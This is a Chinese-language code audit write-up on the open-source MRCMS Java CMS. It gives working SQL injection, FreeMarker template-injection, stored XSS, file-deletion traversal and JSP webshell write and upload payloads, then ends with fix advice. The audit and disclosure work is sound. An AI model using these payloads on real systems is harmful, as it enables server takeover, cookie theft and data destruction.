记一次不知名小CMS代审过程
字数 1966 2025-08-22 22:47:30
MRCMS内容管理系统安全审计教学文档
1. 系统概述
MRCMS是一款基于Java开发的开源内容管理系统,采用Spring框架为核心,具有以下特点:
- 数据模型+模板+插件架构
- 支持页面静态化、国际化
- 提供文件上传、富文本编辑、Markdown支持
- 具备SEO优化、站内统计功能
- 支持前后端分离和插件扩展
2. 环境搭建
2.1 获取源码
- 项目地址:https://github.com/wuweiit/mushroom/releases/tag/v3.1.2
- 下载Source code压缩包
2.2 开发环境配置
- 使用IDEA打开项目
- 等待Maven依赖加载完成
- 修改数据库配置文件:
/src/main/resources/config.properties - 创建数据库并导入SQL文件:
/database/v-3.1/3.1.0/db_mrcmsv3.sql
2.3 启动方式
IDEA直接启动:
- 按照项目MD文件中的命令执行
Tomcat部署:
- 执行打包命令:
mvn package -DskipTests=true - 将生成的war包放入Tomcat的webapps目录
- 启动Tomcat
默认管理员账号:
- 用户名:admin
- 密码:1
- 登录地址:http://127.0.0.1:8080/mrcms/admin/login.do
3. 漏洞分析
3.1 SQL注入漏洞
漏洞位置
- 核心文件:
/src/main/java/org/marker/mushroom/dao/DaoEngine.java - 漏洞方法:
deleteByIds
漏洞原理
- 系统使用原生JDBC而非ORM框架
deleteByIds方法直接将用户输入的ids参数拼接到SQL语句中- 未进行任何参数过滤或预编译处理
利用方式
- 定位使用
deleteByIds方法的控制器,如ChipController.java - 构造恶意请求:
POST /admin/chip/delete?rid=1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- HTTP/1.1 - 使用SQLMap自动化检测:
sqlmap -u "http://target/admin/chip/delete?rid=1*" --batch
影响范围
所有使用deleteByIds方法且第二个参数用户可控的功能点
3.2 FreeMarker模板注入
漏洞位置
- 模板管理功能
- 栏目管理中的模板选择功能
漏洞原理
- 系统使用FreeMarker作为模板引擎
- 管理员可以编辑模板文件内容
- 模板解析时未对恶意代码进行过滤
利用方式
- 通过后台文件管理功能修改模板文件
- 插入恶意FreeMarker代码:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") } - 访问使用该模板的栏目触发代码执行
触发流程分析
- 请求进入
DispatcherServlet.java - 执行
progress方法 - 实例化
WebAPP对象并调用start() - 通过
getByUrl()方法获取页面信息 - 最终执行
template.process()解析模板
3.3 存储型XSS
漏洞位置
- 文章管理功能中的标题字段
漏洞原理
- 标题字段支持HTML格式(字体颜色等)
- 未对用户输入的HTML内容进行过滤
- 恶意JS代码被持久化存储
利用方式
- 在文章标题中插入XSS payload:
<script>alert(document.cookie)</script> - 当其他用户访问包含该文章的页面时触发
限制条件
- 需要管理员权限
- 需要用户访问特定页面才会触发
3.4 任意文件写入
漏洞位置
- 文件管理功能中的模板修改功能
漏洞原理
- 文件写入仅检查后缀是否为jsp
- 未对文件路径进行校验
- 使用
FileTools.setFileContet直接写入文件
利用方式
- 构造恶意请求写入webshell:
POST /admin/file/save HTTP/1.1 Content-Type: application/x-www-form-urlencoded path=../../WEB-INF/shell.jspf&content=<%@page import="java.util.*,java.io.*"%><% if(request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> - 可绕过jsp限制的后缀:jspx、jspf
3.5 任意文件上传
漏洞位置
- 文件管理功能中的上传功能
漏洞原理
- 仅检查文件后缀
- 使用
FileOutputStream直接写入文件 - 未校验文件内容和路径
利用方式
- 上传恶意文件:
POST /admin/file/upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345 ------WebKitFormBoundary12345 Content-Disposition: form-data; name="file"; filename="shell.jspf" Content-Type: text/plain <%@page import="java.util.*,java.io.*"%><% if(request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ------WebKitFormBoundary12345--
3.6 任意文件删除
漏洞位置
- 文件管理功能中的删除功能
漏洞原理
- 未对path参数进行校验
- 直接使用
File类删除文件 - 可进行目录穿越攻击
利用方式
- 构造恶意请求删除系统文件:
POST /admin/file/delete HTTP/1.1 Content-Type: application/x-www-form-urlencoded path=../../../../etc/passwd
4. 修复建议
-
SQL注入:
- 使用预编译语句替换字符串拼接
- 对输入参数进行严格过滤
-
模板注入:
- 禁用FreeMarker的new操作符
- 实现模板内容沙箱机制
-
XSS漏洞:
- 对用户输入的HTML内容进行严格过滤
- 实现CSP策略
-
文件操作漏洞:
- 校验文件路径,防止目录穿越
- 限制可操作的文件目录
- 实现文件后缀白名单机制
- 对上传文件内容进行校验
-
权限控制:
- 加强后台管理权限验证
- 实现操作日志记录
5. 总结
MRCMS系统存在多处高危漏洞,主要问题包括:
- 未对用户输入进行充分验证
- 使用了不安全的编码实践(如SQL拼接)
- 文件操作缺乏安全限制
- 模板引擎配置不安全
这些漏洞组合利用可导致系统完全沦陷,建议开发者参考上述修复建议进行全面安全加固。